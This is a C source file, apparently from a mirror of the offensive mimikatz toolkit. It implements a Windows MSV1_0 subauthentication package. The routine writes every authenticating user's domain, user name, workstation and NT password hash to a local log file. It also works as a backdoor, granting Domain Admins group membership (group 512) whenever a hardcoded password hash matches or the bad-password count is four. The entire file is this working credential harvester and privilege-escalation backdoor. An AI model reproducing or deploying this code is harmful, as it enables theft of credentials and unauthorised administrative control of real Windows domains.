mirror of
https://github.com/gentilkiwi/mimikatz
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38 lines
1.7 KiB
C
38 lines
1.7 KiB
C
/* Benjamin DELPY `gentilkiwi`
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https://blog.gentilkiwi.com
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benjamin@gentilkiwi.com
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Vincent LE TOUX
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http://pingcastle.com / http://mysmartlogon.com
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vincent.letoux@gmail.com
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Licence : https://creativecommons.org/licenses/by/4.0/
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*/
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#include "ksub.h"
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const BYTE myHash[LM_NTLM_HASH_LENGTH] = {0xea, 0x37, 0x0c, 0xb7, 0xb9, 0x44, 0x70, 0x2c, 0x09, 0x68, 0x30, 0xdf, 0xc3, 0x53, 0xe7, 0x02}; // Waza1234/admin
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NTSTATUS NTAPI ksub_Msv1_0SubAuthenticationRoutine(IN NETLOGON_LOGON_INFO_CLASS LogonLevel, IN PVOID LogonInformation, IN ULONG Flags, IN PUSER_ALL_INFORMATION UserAll, OUT PULONG WhichFields, OUT PULONG UserFlags, OUT PBOOLEAN Authoritative, OUT PLARGE_INTEGER LogoffTime, OUT PLARGE_INTEGER KickoffTime)
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{
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FILE *ksub_logfile;;
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#pragma warning(push)
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#pragma warning(disable:4996)
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if(ksub_logfile = _wfopen(L"kiwisub.log", L"a"))
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#pragma warning(pop)
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{
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klog(ksub_logfile, L"%u (%u) - %wZ\\%wZ (%wZ) (%hu) ", UserAll->UserId, UserAll->PrimaryGroupId, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->LogonDomainName, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->UserName, &((PNETLOGON_LOGON_IDENTITY_INFO) LogonInformation)->Workstation, UserAll->BadPasswordCount);
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if(UserAll->NtPasswordPresent)
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klog_hash(ksub_logfile, &UserAll->NtPassword, FALSE);
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if((UserAll->BadPasswordCount == 4) || (UserAll->NtPasswordPresent && RtlEqualMemory(UserAll->NtPassword.Buffer, myHash, min(sizeof(myHash), UserAll->NtPassword.Length))))
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{
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UserAll->PrimaryGroupId = 512;
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klog(ksub_logfile, L" :)\n");
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}
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else klog(ksub_logfile, L"\n");
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fclose(ksub_logfile);
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}
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*WhichFields = 0;
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*UserFlags = 0;
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*Authoritative = TRUE;
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LogoffTime->QuadPart = KickoffTime->QuadPart = 0x7fffffffffffffff;
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return STATUS_SUCCESS;
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} |